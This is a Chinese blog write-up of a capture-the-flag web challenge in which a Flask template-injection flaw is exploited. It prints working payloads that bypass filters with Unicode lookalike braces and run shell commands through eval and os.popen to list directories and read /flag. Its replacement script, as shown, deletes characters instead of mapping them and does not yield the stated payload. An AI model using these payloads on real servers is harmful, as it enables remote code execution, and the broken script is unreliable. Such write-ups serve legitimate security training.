【攻防世界】easy_web(太湖杯)

基础知识

SSTI:

  SSTI(Server-Side Template Injection,服务端模板注入)是一种严重的Web安全漏洞,它允许攻击者利用应用程序中的模板引擎执行恶意代码。这种漏洞通常出现在Web应用程序中,当应用程序使用如Flask、Django、Spring等框架时,一般会采用比较成熟的MVC(Model-View-Controller)模式,此时用户的输入可能会被直接用作模板内容的一部分,而未经适当的处理或过滤
  而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题;
  虽然很多关于SSTI的题出在python上,但是请不要认为这种攻击方式只存在于 Python ,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。

 

详见:SSTI漏洞浅析(常见模板注入、waf绕过) - Antoniiiia - 博客园

 


 

题目

拿到题目后先尝试扫描目录,没有发现有用的信息。

 进入题目,是一个字符规范器,首先有输入框,尝试注入

 发现有对符号进行过滤,对输入框进行爆破,输入ASCII码33~127的所有字符(即特殊符号、字母大小写、数字),结果为这些被过滤

 

!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~
View Code

 

 

再抓包看回显,发现用的是python,想到flask模板注入

 

本来应该用{{1+1}}来验证的,但是存在对两边括号的过滤,鉴于该网站的字符规范功能,尝试找一些相近的字符让它规范成{}

特殊字符的网站:特殊符号 特殊符号大全

 

经过尝试,发现可以构造如下payload绕过过滤,且括号内的算式被计算了,说明该网站存在SSTI漏洞

︷︷1+1︸︸

 

接下来使用一个非常好用的ssti模板注入payload

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}

使用脚本替换会被过滤的单双引号和花括号

"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""

str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
# 如果需要替换,使用replace(被替换的字符,替换后的字符)
str = str.replace('{', '')
str = str.replace('}', '')
str = str.replace('\'', '')
str = str.replace('\"', '')

print(str)

payload替换后为

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

 

没什么可疑的,看看根目录/下的

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

 

发现flag,修改payload,直接查看

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

 

拿到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61} 

 

posted @ 2025-05-07 16:44  Antoniiiia  阅读(520)  评论(0)    收藏  举报